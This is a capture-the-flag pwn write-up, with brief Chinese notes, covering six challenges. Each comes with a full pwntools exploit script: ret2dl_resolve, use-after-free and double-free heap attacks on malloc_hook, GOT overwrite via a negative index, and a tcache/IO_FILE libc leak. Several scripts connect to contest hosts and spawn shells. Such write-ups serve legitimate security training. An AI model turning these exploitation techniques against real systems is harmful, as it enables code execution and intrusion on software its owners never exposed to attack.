baby_pwn

> dl_resolved

exp

```
#!/usr/bin/env python
from pwn import remote,context
from roputils import *
# from pwn import gdb
# context.arch='i386'
# context.arch='amd64'
# context.log_level='debug'


fpath = './pwn'
offset = 0x28

rop = ROP(fpath)
addr_bss = rop.section('.bss')

buf1 = rop.retfill(offset)
buf1 += rop.call('read', 0, addr_bss, 100)
buf1 += rop.dl_resolve_call(addr_bss+20, addr_bss)

# p = Proc(rop.fpath)
# p.write(p32(len(buf)) + buf)
# print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
# p.write(buf)
# p.interact(0)

# from pwn import *
p=remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
context.log_level='debug'
p.send(p32(len(buf1))+buf1)
# sleep(1)
p.send(buf)
```

```
# p.interact(0)
p.interactive()
```

your_pwn

> 任意地址读写

exp

```
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
# p=process('./pwn')
p=remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com',57856)
sd=lambda s:p.send(s)
sl=lambda s:p.sendline(s)
ru=lambda s:p.recvuntil(s)
def debugf(payload=''):
    gdb.attach(p,payload)
ru('input your name \nname:')
sl('123')
libc_addr=''
for i in range(6):
    ru('input index\n')
    sl(str(0x278+i))
    ru('now value(hex) ')
    line=int(p.recvline().strip('\n')[-2:],16)
    print(hex(line))
    libc_addr+=p8(line)
    ru('input new value\n')
    sl('+')
libc_addr=u64(libc_addr.ljust(8,'\x00'))
# print(hex(libc_addr))
libc_base=libc_addr-0x20830
one_off=0x45216
one_off=0x4526a
one_off=0xf02a4
one_off=0xf1147
one=libc_base+one_off
one_payload=p64(one)

for i in range(6):
    ru('index\n')
    sl(str(0x158+i))
    ru('new value\n')
    sl(str(u8(one_payload[i])))


for i in range(40-5-5-1):
    ru('index\n')
    sl('0')
    ru('value\n')
    sl('0')
# debugf('nb C9B')
ru('do you want continue(yes/no)? \n')
sl('yes')

p.interactive()
```

dialy

1. add:
   大小没有限制
2. change:
   ptr和sz在全局变量
3. remove:
   没有判断index合法性

解题思路:

由于free的时候没有检查index的合法性，这样子就可以为堆上位置一个(size，ptr)的结构，然后把它free掉，造成uaf，并且由于本题提供了edit功能，直接edit 到malloc hook

exp

```
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.arch='amd64'
# p=process('./pwn')
p=remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com',58512)


ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)


def menu(i):
    ru('Your choice:')
    sl(str(i))


def debugf(payload=''):
    gdb.attach(p,payload)


def show():
    menu(1)


def add(length,content=''):
    menu(2)
    ru('Please enter the length of daily:')
    sl(str(length))
    ru('Now you can write you daily\n')
    if content=='':
        sd('a'*length)
    else:
        sd(content)


def delete(i):
    menu(4)
    ru('Please enter the index of daily:')
    sl(str(i))


def change(i,content):
    menu(3)
    ru('Please enter the index of daily:')
    sl(str(i))
```

```
    ru('Please enter the new daily\n')
    sd(content)


# debugf('')
add(0x80)      # 0
add(0x10)      # 1
add(0x80)      # 2
add(0x10)      # 3
add(0x80)      # 4
add(0x10)      # 5

delete(0)
delete(2)
delete(4)
delete(1)
# debugf()
add(0x80,'\n')   # 0
add(0x80,'a'*0x8)  # 1
show()
ru('0 : ')
libc_addr=u64(ru('1 : ')[0:6].ljust(8,'\x00'))
line=ru('3 : ')
heap_addr=u64(line[8:line.find('3 : ')].ljust(8,'\x00'))
libc_base=libc_addr-0x3c4b0a
heap_base=heap_addr-0x160
# print(hex(libc_addr))
# print(hex(heap_addr))
delete(0)
delete(1)
delete(3)
delete(5)
add(0x400)
delete(0)
add(0x60)
add(0x60,p64(0x200)+p64(heap_base+0x10))
print(hex(heap_addr))
to_free=heap_base+0x80
beg_addr=0x602060
idx=(to_free-beg_addr)/0x10
# debugf('nb 400C39')
delete(idx)
malloc_hook=0x3c4b10+libc_base
change(0,p64(malloc_hook-0x23))
one_off=0x45216
one_off=0x4526a
# one_off=0xf02a4
# one_off=0xf1147
one=libc_base+one_off
realloc=libc_base+0x00000000000846c0
add(0x60)
add(0x60,'\x00'*(0x13-8)+p64(one)+p64(realloc))
# debugf('nb 40099E')
menu(2)
ru('Please enter the length of daily:')
sl('16')
p.interactive()
```

Double

> 如题目，double free. 还有show功能，简单

exp

```
#!/usr/bin/env pythonm
from pwn import *
context.arch='amd64'
context.log_level='debug'
p=process('./pwn')
ru=lambda s:p.recvuntil(s)
sd=lambda s:p.send(s)
sl=lambda s:p.sendline(s)

def menu(i):
    ru('> ')
    sl(str(i))

def add(data):
    menu(1)
    ru(':\n')
    sd(data)

def show(index):
    menu(2)
    ru(': ')
    sl(str(index))

def edit(index,content):
    menu(3)
    ru(': ')
    sl(str(index))
    sleep(0.1)
    sd(content)

def delete(index):
    menu(4)
    ru(': ')
    sl(str(index))

def debugf(payload=''):
    gdb.attach(p,payload)

add('a'*0x80+'\n')          # 0
add('a'*0x80+'\n')          # 1
# add('c'*0xff)

delete(0)
show(1)
libc_addr=u64(p.recvline()[0:6].ljust(8,'\x00'))
print(hex(libc_addr))
libc_base=libc_addr-0x3c4b78
print(hex(libc_base))
debugf()
add('a'*0x60+'\n')          # 2
add('a'*0x60+'\n')          # 3
add('b'*0x60+'\n')          # 4
# delete(1)
delete(2)
delete(4)
delete(3)

malloc_hook=libc_base+0x3c4b10
malloc_target=malloc_hook-0x23

add(p64(malloc_target).ljust(0x60,'\x00')+'\n')

add('q'*0x60+'\n')
add('w'*0x60+'\n')
```

```
one_off=0x45216
one_off=0x4526a
one_off=0xf02a4
one_off=0xf1147
one=libc_base+one_off
add(('a'*0x13+p64(one)).ljust(0x60,'\x00')+'\n')
p.interactive()
```

Virtual

> save的时候index没检查好，并且可以为负数

```
signed __int64 __fastcall func_save(node *stack2)
{
  __int64 idx; // [rsp+10h] [rbp-10h]
  __int64 num; // [rsp+18h] [rbp-8h]

  if ( !(unsigned int)ret_opcode(stack2, &idx) || !(unsigned int)ret_opcode(stack2, &num) )
    return 0LL;
  *(_QWORD *)&stack2->Ary[8 * (stack2->opcode_count + idx)] = num;// 覆盖堆指针,
                                                  // 是第二个
  return 1LL;
}
```

enter description here

解题思路

> 没开pie，使用save功能改指针到got表,例如puts_got，计算好puts_got与onegadget的差，然后使用add功能，这样子puts_got就改为了onegadget

exp

```
#!/usr/bin/env python
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')

ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)

def debugf(payload=''):
    gdb.attach(p,payload)
debugf('nb 401B62')

ru('name:\n')
name='name'+'\n'
sd(name)

ru(':\n')
ins='push push push save push add'
sd(ins+'\n')

ru(':\n')
idx=0
puts_got=0x404020

# one_off=0x45216
# one_off=0x4526a
# one_off=0xf02a4
```

```
one_off=0xf1147
puts_off=0x6f690

stack_data='1  '+str(puts_got)+'  '+str(-5+2-1)+'  '+str(one_off-puts_off)+'\n'
sd(stack_data)

p.interactive()
```

bms

> iofile leak libc，然后明显的double free
> 坑点：没提示libc版本，我尝试了glibc-2.27和glibc-2.28，但是没想到是glibc-2.26. 然后就没做出来

解题思路

> 明显的 double free
> 三种方法

第一种

> 在bss上有stdout的指针，由于使用的是tcache机制，将其链接到tcache上，不断malloc到stdout结构体，覆盖stdout->write_base低位为'\x00'，即可leak libc

第二种

> 由于开始malloc了一个iofile结构体在堆上，可以dup一个chunk到它那里，然后调整里面的使其到stdout，然后，将调整后的位置链接到tcache上，之后就可dup一个到stdout，覆盖低位，即可leak libc. 这个办法需要爆破8bits

第三种

> 类似house of roman，这个需要考察堆风水的熟练程度.

exp

> 只给出第二种方法的exp. 感觉第一种是非预期解.

```
#!/usr/bin/env python
from pwn import *
context.arch='amd64'
context.log_level='debug'
# p=remote('90b826377a05d5e9508314e76f2f1e4e.kr-lab.com',40001)
ru=lambda s:p.recvuntil(s)
sl=lambda s:p.sendline(s)
sd=lambda s:p.send(s)


def debugf(payload=''):
    gdb.attach(p,payload)

def login(username,psw):
    ru(':')
    sd(username)
    ru(':')
    sd(psw)


def menu(i):
    ru('>\n')
    sl(str(i))

def add(size=0x60,des='b'*60,name='a'*0x10):
    menu(1)
```

```
    ru(':')
    sd(name)
    ru(':')
    sd(str(size))
    ru(':')
    sd(des)

def delete(index):
    menu(2)
    ru(':')
    sl(str(index))
def exit():
    menu(3)

def ioleak(flags=0xfbad1000,over_payload='\x00'):

    if flags & 0x800==0:
        flags=flags | 0x800

    if flags & 0x1000==0:
        flags=flags | 0x1000

    read_base=read_ptr=read_end=0

    payload=p64(flags)
    payload+=p64(read_ptr)+p64(read_end)+p64(read_base)
    payload+=over_payload
    return payload

# pos=0
def exp():
    login('admin\n','frame\n')
    # debugf()
    add(0x60)              # 0
    delete(0)
    delete(0)
    delete(0)

    # debugf()
    # pos=1
    # print('111111111111111111111111111111')
    # delete(0)
    # delete(0)
    # delete(0)
    # delete(0)

    add(0x60,'\x80\x44')   # 1
    sleep(0.2)
    add(0x60)              # 2

    add(0x60,'\x60\x97')   # 3 can not free
    # print('22222222222222222222222222222222')
    # pos=2
    sleep(0.2)
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    # pos=3
    add(0x70)           # 4
    delete(4)
    delete(4)
    delete(4)
    # pos=4
    # delete(3)
    add(0x70,p64(0x602060))
```

```
    add(0x70)
    add(0x70,'\x00'*0x70)

    # pos=5
    # print('333333333333333333333333333333333')
    add(0x60,'\x80\x44')    # 0
    add(0x60,'\x00\n')      # 1
    add(0x60,'\x00\n')      # 2

    # pos=6
    print('================================')
    payload=ioleak(0xfbad2887)
    # print(payload)
    # pause()
    add(0x60,payload)      # libc

    # pos=7

    line=ru('>')
    libc_base=u64(line[8:16])-0x3ed8b0
    # print('444444444444444444444444444444444')
    # print(line)

    print(hex(libc_base))
    # pause()

    one_off=0x4f2c5
    one_off=0x4f322
    one_off=0x10a38c
    # one_off=0x50186
    # one_off=0x501e3
    # one_off=0x103f50
    one=libc_base+one_off
    malloc_hook=libc_base+0x3ebc30

    sl('2')
    ru(':')
    sl('0')
    delete(0)
    delete(0)
    add(0x60,p64(malloc_hook))
    add(0x60,'0\n')

    add(0x60,p64(one))
    menu(1)
    p.interactive()

while(1):
    try:
        # p=remote('1c0e562267cef024c5fea2950a3c9bea.kr-lab.com',40001)
        p=remote('90b826377a05d5e9508314e76f2f1e4e.kr-lab.com',40001)
        # p=process(['./ld-2.28.so','./pwn'],env={'LD_PRELOAD':'./libc-2.28.so'})
        exp()
        break
    except:
        p.close()
        # times+=1
        # print(pos)
        # pos=1
        # pause()
        continue
# print(times)
```